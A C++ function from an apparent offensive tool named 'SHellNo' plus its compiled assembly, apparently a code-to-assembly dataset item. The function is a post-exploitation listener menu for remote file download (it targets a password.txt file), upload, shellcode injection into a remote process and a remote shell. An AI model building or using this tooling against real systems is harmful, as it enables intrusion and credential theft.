// File: /workspace/github_cpp_makefile_star2_O2/JohnWoodman[P]SHellNo/menus.cpp
// Function: postExploitMenu(listener*)
void postExploitMenu(listener *newL) {
	printf("<---This is the Post Exploit Menu--->\n");

	string cmd;
	while(true){
		cout<<"ShellNo:Listener->";
		getline(cin,cmd);
		if(!cmd.compare("download")){
			printf("You Selected Download\n");
			newL->downloadFile("C:\\Users\\john\\Desktop\\password.txt", "pwd_download.txt");
		}
		if (!cmd.compare("upload")){
			printf("You Selected Upload\n");
			newL->uploadFile("upload.txt", "C:\\\\test\\\\upload.txt");
		}
		if(!cmd.compare("inject-shellcode")){
			printf("You Selected Shell\n");
			newL->injectShellcode("shellcode.bin");
		}
		if(!cmd.compare("shell")){
			printf("You selected drop into shell\n");
			newL->dropIntoShell();
		}
		if(!cmd.compare("exit")){
			printf("Exiting!\n");
			break;
		}
		if(!cmd.compare("help")) {
			printf("HELP MENU\n");
			printf("download <remote file> <local file>: download remote file to local file\n");
			printf("upload <local file> <remote file>: upload local file to remote location\n");
			printf("inject-shellcode <shellcode.bin>: inject given shellcode into remote process\n");
			printf("exit: exit listener menu (does not kill session)\n");
		}
	}
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $0xc8, %rsp
movq %rdi, %rbx
leaq 0x207e(%rip), %rdi      # 0x153d4
callq 0x55b0
leaq -0x40(%rbp), %rax
movq %rax, -0x10(%rax)
andq $0x0, -0x8(%rax)
movb $0x0, (%rax)
leaq -0x50(%rbp), %r13
leaq -0x2a(%rbp), %r12
movq 0xbc2e(%rip), %rdi      # 0x1efa8
leaq 0x1fc8(%rip), %rsi      # 0x15349
callq 0x5380
movq 0xbc53(%rip), %rdi      # 0x1efe0
movq %r13, %rsi
callq 0x50a0
movq %r13, %rdi
leaq 0x1fbd(%rip), %rsi      # 0x1535c
callq 0x5120
testl %eax, %eax
jne 0x13412
leaq 0x204b(%rip), %rdi      # 0x153fa
callq 0x55b0
leaq -0x90(%rbp), %rdi
leaq 0x1fa3(%rip), %rsi      # 0x15365
leaq -0x29(%rbp), %rdx
callq 0x130f0
leaq -0xf0(%rbp), %r15
movq %r15, %rdi
leaq 0x1fac(%rip), %rsi      # 0x15388
movq %r12, %r14
movq %r12, %rdx
callq 0x130f0
movq %r15, %r12
movq %rbx, %rdi
leaq -0x90(%rbp), %r15
movq %r15, %rsi
movq %r12, %rdx
callq 0x128b8
movq %r12, %rdi
callq 0x51e0
movq %r15, %rdi
callq 0x51e0
movq %r14, %r12
movq %r13, %rdi
leaq 0x1f7d(%rip), %rsi      # 0x15399
callq 0x5120
testl %eax, %eax
jne 0x13480
leaq 0x1fe4(%rip), %rdi      # 0x15410
callq 0x55b0
leaq -0x70(%rbp), %rdi
leaq 0x1f6e(%rip), %rsi      # 0x153aa
leaq -0x29(%rbp), %rdx
callq 0x130f0
leaq -0xd0(%rbp), %r15
movq %r15, %rdi
leaq 0x1f4a(%rip), %rsi      # 0x153a0
movq %r12, %rdx
callq 0x130f0
movq %rbx, %rdi
leaq -0x70(%rbp), %r14
movq %r14, %rsi
movq %r15, %rdx
callq 0x12a90
movq %r15, %rdi
callq 0x51e0
movq %r14, %rdi
callq 0x51e0
movq %r13, %rdi
leaq 0x1f2b(%rip), %rsi      # 0x153b5
callq 0x5120
testl %eax, %eax
jne 0x134cc
leaq 0x1f8a(%rip), %rdi      # 0x15424
callq 0x55b0
leaq -0xb0(%rbp), %r14
movq %r14, %rdi
leaq 0x1f16(%rip), %rsi      # 0x153c6
leaq -0x29(%rbp), %rdx
callq 0x130f0
movq %rbx, %rdi
movq %r14, %rsi
callq 0x12c4a
movq %r14, %rdi
callq 0x51e0
movq %r13, %rdi
leaq 0x1f78(%rip), %rsi      # 0x1544e
callq 0x5120
testl %eax, %eax
jne 0x134f3
leaq 0x1f51(%rip), %rdi      # 0x15437
callq 0x55b0
movq %rbx, %rdi
callq 0x12e30
movq %r13, %rdi
leaq 0xc97(%rip), %rsi       # 0x14194
callq 0x5120
testl %eax, %eax
je 0x1355e
movq %r13, %rdi
leaq 0xc89(%rip), %rsi       # 0x14199
callq 0x5120
testl %eax, %eax
jne 0x13373
leaq 0x1559(%rip), %rdi      # 0x14a7d
callq 0x55b0
leaq 0x1f2d(%rip), %rdi      # 0x1545d
callq 0x55b0
leaq 0x1f69(%rip), %rdi      # 0x154a5
callq 0x55b0
leaq 0x1fa5(%rip), %rdi      # 0x154ed
callq 0x55b0
leaq 0x1fe6(%rip), %rdi      # 0x1553a
callq 0x55b0
jmp 0x13373
leaq 0x1eef(%rip), %rdi      # 0x15454
callq 0x55b0
leaq -0x50(%rbp), %rdi
callq 0x51e0
addq $0xc8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
movq %rax, %rbx
jmp 0x135b0
movq %rax, %rbx
jmp 0x135c8
jmp 0x135d3
movq %rax, %rbx
leaq -0xb0(%rbp), %rdi
jmp 0x135cc
jmp 0x135d3
jmp 0x135d3
movq %rax, %rbx
leaq -0xf0(%rbp), %rdi
callq 0x51e0
leaq -0x90(%rbp), %rdi
jmp 0x135cc
movq %rax, %rbx
leaq -0xd0(%rbp), %rdi
callq 0x51e0
leaq -0x70(%rbp), %rdi
callq 0x51e0
jmp 0x135d6
movq %rax, %rbx
leaq -0x50(%rbp), %rdi
callq 0x51e0
movq %rbx, %rdi
callq 0x5660
nop